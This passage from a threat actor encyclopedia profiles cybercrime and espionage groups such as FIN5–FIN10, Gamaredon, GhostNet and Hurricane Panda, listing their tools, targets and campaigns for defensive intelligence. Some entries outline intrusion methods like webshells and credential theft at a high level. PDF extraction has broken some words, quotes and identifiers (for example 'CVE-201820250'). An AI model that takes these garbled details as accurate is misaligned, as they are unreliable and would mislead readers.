either: The cybercriminal group tied to +numerous payment card breaches including Goodwill and best known by its socalled "RawPOS" malware employed legitimate user credentials to access its +targets' networks. +Researchers at FireEye here today shared their recent findings on this prolific and +long-running cybercrime gang that has been the subject of multiple Visa security +alerts to merchants. The RawPOS memory scraper malware has been infecting the +lodging industry in epidemic proportions over the past year, and is considered one +of the first memory scrapers to target point-of-sale systems. +FireEye has dubbed the cybercrime gang FIN5. "One of the most unique things +about FIN5 is that in every intrusion we responded to where FIN5 has been active, +legitimate access was identified. They had valid user credentials to remotely log +into the network," said Barry Vengerik, principal threat analyst at FireEye. "No sexy +zero-days, no remote exploits -- not even spear-phishing. They had credentials +from somewhere." +FIN5, which earlier this year was profiled by researchers at Trend Micro and has +been in action since at least 2008, uses real credentials from the victim +organization's virtual private network, Remote Desktop Protocol, Citrix, or VNC. +Vengerik says the attackers got those credentials via third parties associated with +the victims' POS systems. +Observed +Sectors: Gaming and Hospitality. +Tools used +FLIPSIDE, pwdump, RawPOS, SDelete and Windows Credential Editor. +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +FIN6, Skeleton Spider +Names +FIN6 (FireEye) +Skeleton Spider (CrowdStrike) +Country +[Unknown] +Motivation +Financial gain +Description +FIN6 is a cybercrime group that has stolen payment card data and sold it for profit +on underground marketplaces. This group has aggressively targeted and +compromised point of sale (PoS) systems in the hospitality and retail sectors. +(FireEye) FIN6 is a cybercriminal group intent on stealing payment card data for +monetization. In 2015, FireEye Threat Intelligence supported several Mandiant +Consulting investigations in the hospitality and retail sectors where FIN6 actors had +aggressively targeted and compromised point-of-sale (POS) systems, making off +with millions of payment card numbers. Through iSIGHT, we learned that the +payment card numbers stolen by FIN6 were sold on a +card shop +underground criminal marketplace used to sell or exchange payment card data. +Observed +Sectors: Hospitality and Retail. +Tools used +AbaddonPOS, Cobalt Strike, FrameworkPOS, GRABNEW, Grateful POS, +LockerGoga, Ryuk, Windows Credential Editor and WMI. +Operations +performed +Jan 2019 +Information + + +MITRE ATT&CK + +Over the past 8-10 weeks, Morphisec has been tracking multiple +sophisticated attacks targeting Point of Sale thin clients globally. More +specifically, on the 6th of February we identified an extremely high +number of prevention events stopping Cobalt Strike backdoor +execution, with some of the attacks expressly targeting Point of Sale +VMWare Horizon thin clients. + +Threat Group Cards: A Threat Actor Encyclopedia +FIN7 +Names +FIN7 (FireEye) +Country +Russia +Motivation +Financial gain +Description +FIN7 is a financially-motivated threat group that has primarily targeted the U.S. +retail, restaurant, and hospitality sectors since mid-2015. They often use point-ofsale malware. A portion of FIN7 was run out of a front company called Combi +Security. FIN7 is sometimes referred to as Carbanak, Anunak, but these appear to +be two groups using the same Carbanak malware and are therefore tracked +separately. +The reports about arrests made of the mastermind of Carbanak, Anunak instead of +FIN7. However, security research teams keep referring to this arrest for all FIN7 +activities since. +Observed +Sectors: Casinos and Gaming, Construction, Education, Energy, Financial, +Government, High-Tech, Hospitality, Retail, Technology, Telecommunications, +Transportation and Travel. +Countries: Europe and USA. +Tools used +Astra, Bateleur, Carbanak, Cobalt Strike, Griffon, HALFBAKED, POWERSOURCE, +SQLRAT and TEXTMATE. +Operations +performed +Feb 2017 +In late February 2017, FireEye as a Service (FaaS) identified a spear +phishing campaign that appeared to be targeting personnel involved +with United States Securities and Exchange Commission (SEC) filings +at various organizations. +All of the observed intended recipients of the spear phishing campaign +appeared to be involved with SEC filings for their respective +organizations. + +Mar 2017 +Two recent fileless malware campaigns targeting financial institutions, +government agencies and other enterprises have been linked to the +same attack group. +The campaigns, disclosed by Kaspersky Lab and Cisco +s Talos +research outfit in the last five weeks, made extensive use of fileless +malware and known penetration testing tools and utilities to spy on +organizations and move data and money off of networks. + +Apr 2017 +In a newly-identified campaign, FIN7 modified their phishing +techniques to implement unique infection and persistence +mechanisms. FIN7 has moved away from weaponized Microsoft +Office macros in order to evade detection. This round of FIN7 phishing +lures implements hidden shortcut files (LNK files) to initiate the +infection and VBScript functionality launched by mshta.exe to infect +the victim. + +Threat Group Cards: A Threat Actor Encyclopedia +Jul 2017 +Proofpoint researchers have uncovered that the threat actor +commonly referred to as FIN7 has added a new JScript backdoor +called Bateleur and updated macros to its toolkit. + +2017 +Leveraging Shim Databases for Persistence +A unique aspect of the incidents was how the group installed the +CARBANAK backdoor for persistent access. Mandiant identified that +the group leveraged an application shim database to achieve +persistence on systems in multiple environments. The shim injected a +malicious in-memory patch into the Services Control Manager +services.exe +) process, and then spawned a CARBANAK backdoor +process. + +Jun 2017 +Highly sophisticated fileless attack targeting restaurants across the US +On June 7, 2017, Morphisec Lab identified a new, highly sophisticated +fileless attack targeting restaurants across the US. The ongoing +campaign allows hackers to seize system control and install a +backdoor to steal financial information at will. It incorporates some +never before seen evasive techniques that allow it to bypass most +security solutions + signature and behavior based. + +Oct 2017 +Attack to target banks and the enterprise +Like clockwork, FIN7 again unleashed a new attack able to bypass +almost every security solution. The attack, which took place between +October 8 to 10, 2017, is yet another demonstration of the high-paced +innovation by threat actors. + +May 2018 +New Attack Panel and Malware Samples +Flashpoint analysts recently uncovered a new attack panel used by +this group in campaigns they have called Astra. The panel, written in +PHP, functions as a script-management system, pushing attack +scripts down to compromised computers. + +2018 +High-profile breaches including Red Robin, Chili +s, Arby +s, Burgerville, +Omni Hotels and Saks Fifth Avenue, among many others. +Fifth Avenue, Saks Off 5th, and Lord & Taylor department stores +owned by The Hudson +s Bay Company +acknowledged a data breach +impacting more than five million credit and debit card numbers. The +culprits? The same group that's spent the last few years pulling off +data heists from Omni Hotels & Resorts, Trump Hotels, Jason +s Deli, +Whole Foods, Chipotle: A mysterious group known as Fin7. + +Nov 2018 +In this blog post, we present our findings on two campaigns, which +occurred in the first and second weeks of November. These +campaigns follow patterns similar to those presented by FireEye in +August but with just enough variations to bypass many security +vendors. +Threat Group Cards: A Threat Actor Encyclopedia + +20182019 +In 2018-2019, researchers of Kaspersky Lab +s Global Research and +Analysis Team analyzed various campaigns that used the same +Tactics Tools and Procedures (TTPs) as the historic FIN7, leading the +researchers to believe that this threat actor had remained active +despite the 2018 arrests. In addition, during the investigation, we +discovered certain similarities to other attacker groups that seemed to +share or copy the FIN7 TTPs in their own operations. + +Information + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +FIN8 +Names +FIN8 (FireEye) +Country +[Unknown] +Motivation +Financial gain +Description +(FireEye) We attribute the use of this EoP to a financially motivated threat actor. In +the past year, not only have we observed this group using similar infrastructure and +tactics, techniques, and procedures (TTPs), but they are also the only group we +have observed to date who uses the downloader PUNCHBUGGY and POS +malware PUNCHTRACK. Designed to scrape both Track 1 and Track 2 payment +card data, PUNCHTRACK is loaded and executed by a highly obfuscated launcher +and is never saved to disk. +This actor has conducted operations on a large scale and at a rapid pace, +displaying a level of operational awareness and ability to adapt their operations on +the fly. These abilities, combined with targeted usage of an EoP exploit and the +reconnaissance required to individually tailor phishing emails to victims, potentially +speaks to the threat actors + operational maturity and sophistication. +FireEye identified more than 100 organizations in North America that fell victim to +this campaign. +Observed +Sectors: Hospitality and Retail. +Countries: USA. +Tools used +PunchBuggy, PunchTrack and ShellTea. +Operations +performed +Mar 2016 +Tailored spear-phishing campaigns +In March 2016, a financially motivated threat actor launched several +tailored spear phishing campaigns primarily targeting the retail, +restaurant, and hospitality industries. The emails contained variations +of Microsoft Word documents with embedded macros that, when +enabled, downloaded and executed a malicious downloader that we +refer to as PUNCHBUGGY. + +2018 +In early 2017, FIN8 began using environment variables paired with +PowerShell +s ability to receive commands via stdin (standard input) to +evade detection based on process command line arguments. In the +February 2017 phishing document +COMPLAINT Homer Glynn.doc + +Mar 2019 +During the period of March to May 2019, Morphisec Labs observed a +new, highly sophisticated variant of the ShellTea / PunchBuggy +backdoor malware that attempted to infiltrate a number of machines +within the network of a customer in the hotel-entertainment industry. It +is believed that the malware was deployed as a result of several +phishing attempts. + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +FIN10 +Names +FIN10 (FireEye) +Country +[Unknown] +Motivation +Financial gain +Description +(FireEye) FireEye has observed multiple targeted intrusions occurring in North +America + predominately in Canada + dating back to at least 2013 and continuing +through at least 2016, in which the attacker(s) have compromised organizations +networks and sought to monetize this illicit access by exfiltrating sensitive data and +extorting victim organizations. In some cases, when the extortion demand was not +met, the attacker(s) destroyed production Windows systems by deleting critical +operating system files and then shutting down the impacted systems. Based on +near parallel TTPs used by the attacker(s) across these targeted intrusions, we +believe these clusters of activity are linked to a single, previously unobserved actor +or group that we have dubbed FIN10. +Observed +Sectors: Casinos and Mining. +Countries: Canada and USA. +Tools used +Empire and SplinterRAT. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Flying Kitten, Ajax Security Team +Names +Flying Kitten (CrowdStrike) +Ajax Security Team (FireEye) +Group 26 (Talos) +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(FireEye) Members of this group have accounts on popular Iranian hacker forums +such as ashiyane[.]org and shabgard[.]org, and they have engaged in website +defacements under the group name +AjaxTM + since 2010. By 2014, the Ajax +Security Team had transitioned from performing defacements (their last defacement +was in December 2013) to malware-based espionage, using a methodology +consistent with other advanced persistent threat actors in this region. +(Crowdstrike) CrowdStrike Intelligence has also been tracking and reporting +internally on this threat group since mid-January 2014 under the name FLYING +KITTEN, and since that time has seen targeting of multiple U.S.-based defense +contractors as well as political dissidents. +Observed +Sectors: Defense and dissidents. +Countries: USA. +Tools used +Sayyad and Stealer. +Operations +performed +2013 +Information + +Operation +Saffron Rose + +Threat Group Cards: A Threat Actor Encyclopedia +Gallmaker +Names +Gallmaker (Symantec) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Symantec) Symantec researchers have uncovered a previously unknown attack +group that is targeting government and military targets, including several overseas +embassies of an Eastern European country, and military and defense targets in the +Middle East. This group eschews custom malware and uses living off the land +(LotL) tactics and publicly available hack tools to carry out activities that bear all the +hallmarks of a cyber espionage campaign. +The group, which we have given the name Gallmaker, has been operating since at +least December 2017, with its most recent activity observed in June 2018. +Observed +Sectors: Defense, Embassies and Government. +Countries: Eastern Europe and Middle East. +Tools used +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Gamaredon Group +Names +Gamaredon Group (Palo Alto) +Country +Russia +Sponsor +State-sponsored, FSB 16th & 18th Centers +Motivation +Information theft and espionage +Description +(Lookingglass) The Lookingglass Cyber Threat Intelligence Group (CTIG) has been +tracking an ongoing cyber espionage campaign named +Operation Armageddon +The name was derived from multiple Microsoft Word documents used in the +attacks. +Armagedon + (spelled incorrectly) was found in the +Last Saved By + and +Author + fields in multiple Microsoft Word documents. Although continuously +developed, the campaign has been intermittently active at a small scale, and uses +unsophisticated techniques. The attack timing suggests the campaign initially +started due to Ukraine +s decision to accept the Ukraine-- +European Union +Association Agreement (AA). The agreement was designed to improve economic +integrations between Ukraine and the European Union. Russian leaders publicly +stated that they believed this move by Ukraine directly threatened Russia +s national +security. Although initial steps to join the Association occurred in March 2012, the +campaign didn +t start until much later (mid +2013), as Ukraine and the EU started to +more actively move towards the agreement. +Russian actors began preparing for attacks in case Ukraine finalized the AA. The +earliest identified modification timestamp of malware used in this campaign is June +26, 2013. A group of files with modification timestamps between August 12 and +September 16, 2013 were used in the first wave of spear-phishing attacks, targeting +government officials prior to the 10th Yalta Annual Meeting: +Changing Ukraine in a +Changing World: Factors of Success. +Observed +Sectors: Defense, Government and Law enforcement. +Countries: Ukraine +Tools used +FRAUDROP, Gamaredon, Pteranodon and Resetter. +Operations +performed +Apr 2019 +The discovered attack appears to be designed to lure military +personnel: it leverages a legit document of the +State of the Armed +Forces of Ukraine + dated back in the 2nd April 2019. + +May 2019 +The Gamaredon attacks against Ukraine doesn +t seem to have +stopped. After a month since our last report we spotted a new +suspicious email potentially linked to the Gamaredon group. + +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +GCMAN +Names +GCMAN (Kaspersky) +Country +[Unknown] +Motivation +Financial gain +Description +(Kaspersky) A second group, which we call GCMAN because the malware is based +on code compiled on the GCC compiler, emerged recently using similar techniques +to the Corkow, Metel Group to infect banking institutions and attempt to transfer +money to e-currency services. +The initial infection mechanism is handled by spear-phishing financial institution +targets with e-mails carrying a malicious RAR archive to. Upon opening the RAR +archive, an executable is started instead of a Microsoft Word document, resulting in +infection. +Once inside the network, the GCMAN group uses legitimate and penetration testing +tools such as Putty, VNC, and Meterpreter for lateral movement. Our investigation +revealed an attack where the group then planted a cron script into bank +s server, +sending financial transactions at the rate of $200 per minute. A time-based +scheduler was invoking the script every minute to post new transactions directly to +upstream payment processing system. This allowed the group to transfer money to +multiple e-currency services without these transactions being reported to any +system inside the bank. +Observed +Sectors: Financial. +Country: Russia. +Tools used +Malicious RAR archives, Putty, VNC and Meterpreter. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +GhostNet, Snooping Dragon +Names +GhostNet (Information Warfare Monitor) +Snooping Dragon (UCAM) +Country +China +Motivation +Information theft and espionage +Description +(Information Warfare Monitor) Cyber espionage is an issue whose time has come. +In this second report from the Information Warfare Monitor, we lay out the findings +of a 10-month investigation of alleged Chinese cyber spying against Tibetan +institutions. The investigation, consisting of fieldwork, technical scouting, and +laboratory analysis, discovered a lot more. The investigation ultimately uncovered a +network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected +hosts are considered high-value targets and include computers located at ministries +of foreign affairs, embassies, international organizations, news media, and NGOs. +The Tibetan computer systems we manually investigated, and from which our +investigations began, were conclusively compromised by multiple infections that +gave attackers unprecedented access to potentially sensitive information. +(UCAM) Attacks on the Dalai Lama +s Private Office +The OHHDL started to suspect it was under surveillance while setting up meetings +be-tween His Holiness and foreign dignitaries. They sent an email invitation on +behalf of His Holiness to a foreign diplomat, but before they could follow it up with a +courtesy telephone call, the diplomat +s office was contacted by the Chinese +government and warned not to go ahead with the meeting. The Tibetans wondered +whether a computer compromise might be the explanation; they called ONI Asia +who called us. (Until May 2008, the first author was employed on a studentship +funded by the OpenNet Initiative and the second author was a principal investigator +for ONI.) +Also see Shadow Network. +Observed +Sectors: Embassies, Government, Media and NGOs. +1,295 infected computers in 103 countries, including the Dalai Lama, the ministries +of foreign affairs of Bangladesh, Barbados, Bhutan, Brunei, Indonesia, Iran, Latvia +and Philippines; embassies of Cyprus, Germany, India, Indonesia, Malta, Pakistan, +Portugal, Romania, South Korea, Taiwan and Thailand; the ASEAN (Association of +Southeast Asian Nations) Secretariat, SAARC (South Asian Association for +Regional Cooperation), and the Asian Development Bank; news organizations; and +an unclassified computer located at NATO headquarters. +Tools used +Gh0st RAT and Skype. +Counter +operations +Taken down by the Shadowserver Foundation. +Information + + + +Threat Group Cards: A Threat Actor Encyclopedia +Goblin Panda, Cycldek +Names +Goblin Panda (CrowdStrike) +Cycldek (Kaspersky) +Country +China +Motivation +Information theft and espionage +Description +(CrowdStrike) CrowdStrike first observed Goblin Panda activity in September 2013 +when indicators of its activity were discovered on the network of a technology +company operating in multiple sectors. +Malware variants primarily used by this actor include PlugX and HttpTunnel. This +actor focuses a significant amount of its targeting activity on entities in Southeast +Asia, particularly Vietnam. Heavy activity was observed in the late spring and early +summer of 2014 when tensions between China and other Southeast Asian nations +were high, due to conflict over territory in the South China Sea. Goblin Panda +targets have been primarily observed in the defense, energy, and government +sectors. +Observed +Sectors: Defense and Energy and Government. +Countries: India, Indonesia, Laos, Malaysia, Philippines, USA and Vietnam. +Tools used +HttpTunnel, NewCore, PlugX, QCRat, Sisfader and ZeGhost. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Goldmouse +Names +Goldmouse (360) +APT-C-27 (360) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(360) On March 17, 2019, 360 Threat Intelligence Center captured a target attack +sample against the Middle East by exploiting WinRAR vulnerability (CVE-201820250), and it seems that the attack is carried out by the Goldmouse APT group +(APT-C-27). There is a decoy Word document inside the archive regarding +terrorist attacks to lure the victim into decompressing. When the archive gets +decompressed on the vulnerable computer, the embedded njRAT backdoor +(Telegram Desktop.exe) will be extracted to the startup folder and then triggered +into execution if the victim restarts the computer or performs re-login. After that, +the attacker is capable to control the compromised device. +Observed +Countries: Middle East. +Tool used +GoldenRAT, njRAT and a WinRAR exploit. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Gorgon Group +Names +Gorgon Group (Palo Alto) +Subaat (Palo Alto) +Country +Pakistan +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +Gorgon Group is a threat group consisting of members who are suspected to be +Pakistan-based or have other connections to Pakistan. The group has performed a +mix of criminal and targeted attacks, including campaigns against government +organizations in the United Kingdom, Spain, Russia, and the United States. +Observed +Sectors: Government. +Countries: Russia, Spain, UK and USA. +Tools used +Crimson, LokiBot, NanoCore RAT, njRAT, QuasarRAT, Remcos and Revenge +RAT. +Operations +performed +Jul 2017 +Small wave of phishing emails targeting a US-based government +organization. +Within the 43 emails we observed, we found that three unique files +were delivered, which consisted of two RTFs and a Microsoft Excel +file. Both RTFs exploited CVE-2012-0158 and acted as downloaders +to ultimately deliver the QuasarRAT malware family. The downloaders +made use of the same shellcode, with minor variances witnessed +between them. Additionally, the RTFs made use of heavy obfuscation +within the documents themselves, making it more difficult to extract +the embedded shellcode. + +Feb 2018 +In addition to the numerous targeted attacks, Unit 42 discovered that +the group also performed a litany of attacks and operations around the +globe, involving both criminal as well as targeted attacks. +Starting in February 2018, Palo Alto Networks Unit 42 identified a +campaign of attacks performed by members of Gorgon Group +targeting governmental organizations in the United Kingdom, Spain, +Russia, and the United States. Additionally, during that time, members +of Gorgon Group were also performing criminal operations against +targets across the globe, often using shared infrastructure with their +targeted attack operations. + +Mar 2019 +[Attribution unconfirmed] Aggah Campaign: Bit.ly, BlogSpot, and +Pastebin Used for C2 in Large Scale Campaign +In March 2019, Unit 42 began looking into an attack campaign that +appeared to be primarily focused on organizations within a Middle +Eastern country. Further analysis revealed that this activity is likely +part of a much larger campaign impacting not only that region but also +the United States, and throughout Europe and Asia. + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Threat Group Cards: A Threat Actor Encyclopedia +GozNym +Names +GozNym (IBM) +Country +[Several] +Motivation +Financial gain +Description +(IBM) IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim +and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled +its source code with part of the Gozi ISFB source code, creating a combination that +is being actively used in attacks against more than 24 U.S. and Canadian banks, +stealing millions of dollars so far. X-Force named this new hybrid GozNym. +The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB +malware to create a powerful Trojan. From the Nymaim malware, it leverages the +dropper +s stealth and persistence; the Gozi ISFB parts add the banking Trojan +capabilities to facilitate fraud via infected Internet browsers. The end result is a new +banking Trojan in the wild. +Observed +Sectors: Financial. +Countries: Canada, Poland and USA. +Tools used +GozNym, Nymaim and Gozi ISFB. +Operations +performed +Apr 2016 +Attacks against more than 24 U.S. and Canadian banks + +Apr 2016 +Attacks on banks in Poland + +Jun 2016 +Attacks on banks in the USA +Aug 2016 +Attacks on banks in Germany + +Counter +operations +GozNym Malware: Cybercriminal Network Dismantled in International +Operation (2019) + +Threat Group Cards: A Threat Actor Encyclopedia +Group5 +Names +Group5 (Citizen Lab) +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(SecurityWeek) A threat actor using Iranian-language tools, Iranian hosting +companies, operating from the Iranian IP space at times was observed targeting +the Syrian opposition in an elaborately staged malware operation, Citizen Lab +researchers reveal. +The operation was first noticed in late 2015, when a member of the Syrian +opposition flagged a suspicious email containing a PowerPoint slideshow, which led +researchers to a watering hole website with malicious programs, malicious +PowerPoint files, and Android malware. +The threat actor was targeting Windows and Android devices of well-connected +individuals in the Syrian opposition, researchers discovered. They called the actor +Group5, because it targets Syrian opposition after regime-linked malware groups, +the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a +group linked to Lebanon did the same in the past. +Observed +Countries: Syria. +Tools used +DroidJack, NanoCore RAT and njRAT. +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Hidden Lynx, Aurora Panda +Names +Hidden Lynx (Symantec) +Aurora Panda (CrowdStrike) +Group 8 (Talos) +Country +China +Motivation +Information theft and espionage +Description +(Symantec) The Hidden Lynx group has been in operation since at least 2009 and +is most likely a professional organization that offers a +hackers for hire + service. +They have the capability to attack many organizations with concurrently running +campaigns. They operate efficiently and move quickly and methodically. Based on +these factors, the Hidden Lynx group would need to be a sizeable organization +made up of between 50 and 100 individuals. +Much of the attack infrastructure and tools used during these campaigns originate +from network infrastructure in China. The Hidden Lynx group makes regular use of +zero-day exploits and has the ability to rework and customize exploits quickly. They +are methodical in their approach and they display a skillset far in advance of some +other attack groups also operating in that region, such as the Comment Crew (also +known as APT1). The Hidden Lynx group is an advanced persistent threat that has +been in operation for at least four years and is breaking into some of the bestprotected organizations in the world. With a zero-day attack already under their belt +in 2013, they continue to operate at the leading edge of targeted attacks. +This group appears to be closely associated with APT 17, Deputy Dog. +Observed +Sectors: Construction, Defense, Education, Financial, Food and Agriculture, +Engineering, Healthcare, IT, Government, Media, Non-profit organizations, +Pharmaceuticals, Retail and lawyers. +Countries: Australia, Canada, China, France, Germany, Hong Kong, India, Japan, +Russia, Singapore, South Korea, Taiwan, UK, Ukraine and USA. +Tools used +HiKit, Moudoor and Naid. +Operations +performed +Jun 2012 +VOHO campaign +The VOHO campaign, first publicized by RSA, is one of the largest +and most successful watering-hole attacks to date. The campaign +combined both regional and industry-specific attacks and +predominantly targeted organizations that operate in the United +States. In a rapidly spreading two-phase attack, which started on June +25 and finished July 18, nearly 4,000 machines had downloaded a +malicious payload. These payloads were being delivered to +unsuspecting victims from legitimate websites that were strategically +compromised. + +Jul 2012 +Breach of the Bit9 website + +Counter +operations +Security vendors take action against Hidden Lynx malware (2014) + +Threat Group Cards: A Threat Actor Encyclopedia +Information + + + +Threat Group Cards: A Threat Actor Encyclopedia +Honeybee +Names +Honeybee (McAfee) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(McAfee) McAfee Advanced Threat Research analysts have discovered a new +operation targeting humanitarian aid organizations and using North Korean political +topics as bait to lure victims into opening malicious Microsoft Word documents. Our +analysts have named this Operation Honeybee, based on the names of the +malicious documents used in the attacks. +Advanced Threat Research analysts have also discovered malicious documents +authored by the same actor that indicate a tactical shift. These documents do not +contain the typical lures by this actor, instead using Word compatibility messages to +entice victims into opening them. +The Advanced Threat Research team also observed a heavy concentration of the +implant in Vietnam from January 15 +Observed +Sectors: Those involved in humanitarian aid and inter-Korean affairs. +Countries: South Korea to target Argentina, Canada, Indonesia, Japan, Singapore +and Vietnam. +Tools used +SYSCON, Systeminfo and Tasklist +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Hurricane Panda, Zirconium, APT 31 +Names +Hurricane Panda (CrowdStrike) +Zirconium (Microsoft) +APT 31 (Mandiant) +TEMP.Avengers (Symantec) +Country +China +Motivation +Information theft and espionage +Description +(CrowdStrike) We have investigated their intrusions since 2013 and have been +battling them nonstop over the last year at several large telecommunications and +technology companies. The determination of this China-based adversary is truly +impressive: they are like a dog with a bone. +Hurricane Panda +s preferred initial vector of compromise and persistence is a China +Chopper webshell + a tiny and easily obfuscated 70 byte text file that consists of an +eval() + command, which is then used to provide full command execution and file +upload/download capabilities to the attackers. This script is typically uploaded to a +web server via a SQL injection or WebDAV vulnerability, which is often trivial to +uncover in a company with a large external web presence. +Once inside, the adversary immediately moves on to execution of a credential theft +tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have +caught an administrator who might be logged into that web server at the time, they +will have gained domain administrator credentials and can now roam your network +at will via +net use + and +wmic + commands executed through the webshell terminal. +Observed +Sectors: Technology and Telecommunications. +Tools used +9002 RAT, China Chopper, Gh0st RAT, HiKit, Mimikatz, PlugX, Sakula RAT and +Trochilus RAT. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Icefog, Dagger Panda +Names +Icefog (Kaspersky) +Dagger Panda (CrowdStrike) +Country +China, South Korea and Japan +Motivation +Information theft and espionage +Description +(Kaspersky) +Icefog + is an Advanced Persistent Threat that has been active since at +least 2011, targeting mostly Japan and South Korea. Known targets include +governmental institutions, military contractors, maritime and shipbuilding groups, +telecom operators, industrial and high-tech companies and mass media. The name +Icefog + comes from a string used in the command-and-control server name in one +of the samples. The command-and-control software is named +Dagger Three +, in +the Chinese language. +During Icefog attacks, several other malicious tools and backdoors were uploaded +to the victims + machines, for data exfiltration and lateral movement. +Observed +Sectors: Defense, Government, High-Tech, Maritime and Shipbuilding, Media, +Telecommunications, Water and others. +Countries: Australia, Austria, Belarus, Canada, China, France, Germany, Hong +Kong, India, Italy, Japan, Kazakhstan, Malaysia, Maldives, Mongolia, Netherlands, +Pakistan, Philippines, Russia, Singapore, South Korea, Sri Lanka, Taiwan, +Tajikistan, Turkey, UK, USA and Uzbekistan. +Tools used +Dagger Three, Fucobha, Icefog and Javafog. +Operations +performed +Jan 2014 +The Icefog APT Hits US Targets With Java Backdoor +Since the publication of our report, the Icefog attackers went +completely dark, shutting down all known command-and-control +servers. Nevertheless, we continued to monitor the operation by +sinkholing domains and 119nalyzing victim connections. During this +monitoring, we observed an interesting type of connection which +seemed to indicate a Java version of Icefog, further to be referenced +Javafog + +2015 +TOPNEWS + Campaign +Target: Government, media, and finance organizations in Russia and +Mongolia. +2016 +APPER + Campaign +Target: Kazach officials. +2018 +WATERFIGHT + Campaign +Target: Water source provider, banks, and government entities in +Turkey, India, Kazakhstan, Uzbekistan, and Tajikistan. +2018 +PHKIGHT + Campaign +Target: An unknown entity in the Philippines +20182019 +SKYLINE + Campaign +Target: Organizations in Turkey and Kazakhstan. + +Threat Group Cards: A Threat Actor Encyclopedia +Information + + + +Threat Group Cards: A Threat Actor Encyclopedia +Inception Framework +Names +Inception Framework (Symantec) +Country +Russia +Motivation +Information theft and espionage +Description +(Symantec) Researchers from Blue Coat Labs have identified the emergence of a +previously undocumented attack framework that is being used to launch highly +targeted attacks in order to gain access to, and extract confidential information +from, victims + computers. Because of the many layers used in the design of the +malware, we +ve named it Inception +a reference to the 2010 movie +Inception +about a thief who entered peoples + dreams and stole secrets from their +subconscious. Targets include individuals in strategic positions: Executives in +important businesses such as oil, finance and engineering, military officers, +embassy personnel and government officials. The Inception attacks began by +focusing on targets primarily located in Russia or related to Russian interests, but +have since spread to targets in other locations around the world. The preferred +malware delivery method is via phishing emails containing trojanized documents. +Initially targeted at Russia, but expanding globally +Masterful identity cloaking and diversionary tactics +Clean and elegant code suggesting strong backing and top-tier talent +Includes malware targeting mobile devices: Android, Blackberry and iOS +Using a free cloud hosting service based in Sweden for command and control +Observed +Sectors: Defense, Embassies, Engineering, Financial, Government and Oil and +gas. +Countries: Afghanistan, Armenia, Austria, Azerbaijan, Belarus, Belgium, Brazil, +Congo, Cyprus, France, Georgia, Germany, Greece, India, Indonesia, Iran, Italy, +Jordan, Kazakhstan, Kenya, Kyrgyzstan, Lebanon, Lithuania, Malaysia, Moldova, +Morocco, Mozambique, Oman, Pakistan, Paraguay, Qatar, Romania, Russia, Saudi +Arabia, South Africa, Suriname, Switzerland, Tajikistan, Tanzania, Turkey, +Turkmenistan, Uganda, Ukraine, UAE, USA, Uzbekistan, Venezuela and Vietnam. +Tools used +Inception, Lastacloud and many 0-day exploits. +Operations +performed +Oct 2012 +Operation +RedOctober +In October 2012, Kaspersky Lab +s Global Research & Analysis Team +initiated a new threat research after a series of attacks against +computer networks of various international diplomatic service +agencies. A large scale cyber-espionage network was revealed and +analyzed during the investigation, which we called +Red October +(after famous novel +The Hunt For The Red October + +May 2014 +Hiding Behind Proxies +Since 2014, Symantec has found evidence of a steady stream of +attacks from the Inception Framework targeted at organizations on +several continents. As time has gone by, the group has become ever +more secretive, hiding behind an increasingly complex framework of +proxies and cloud services. + +Aug 2014 +Operation +Cloud Atlas +Threat Group Cards: A Threat Actor Encyclopedia +In August 2014, some of our users observed targeted attacks with a +variation of CVE-2012-0158 and an unusual set of malware. We did a +quick analysis of the malware and it immediately stood out because of +certain unusual things that are not very common in the APT world. + +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Infy, Prince of Persia +Names +Infy (Palo Alto) +Prince of Persia (Palo Alto) +Operation Mermaid (360) +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +Since early 2013, we have observed activity from a unique threat actor group, +which we began to investigate based on increased activities against human right +activists in the beginning of 2015. In line5with other research on the campaign, +released prior to publication of this document, we have adopted the name +Infy +which is based on labels used in the infrastructure and its two families of malware +agents. +Thanks to information we have been able to collect during the course of our +research, such as characteristics of the group +s malware and development cycle, +our research strongly supports the claim that the Infy group is of Iranian origin +and potentially connected to the Iranian state. Amongst a backdrop of other +incidents, Infy became one of the most frequently observed agents for attempted +malware attacks against Iranian civil society beginning in late 2014, growing in +use up to the February 2016 parliamentary election in Iran. After the conclusion of +the parliamentary election, the rate of attempted intrusions and new compromises +through the Infy agent slowed, but did not end. The trends witnessed in reports +from recipients are reinforced through telemetry provided by design failures in +more recent versions of the Infy malware. +Observed +Sectors: Government and private sectors. +Countries: Bahrain, Canada, China, Denmark, France, Germany, Iran, Israel, +Italy, Russia, Saudi Arabia, Sweden, Syria, UK and USA. +Tools used +Foudre and Infy. +Operations +performed +May 2015 +In May 2015, Palo Alto Networks WildFire detected two e-mails +carrying malicious documents from a genuine and compromised +Israeli Gmail account, sent to an Israeli industrial organization. +One e-mail carried a Microsoft PowerPoint file named +thanks.pps +, the other a Microsoft Word document named +request.docx + +Feb 2017 +In February 2017, we observed an evolution of the +Infy + malware +that we +re calling +Foudre +lightning +, in French). The actors +appear to have learned from our previous takedown 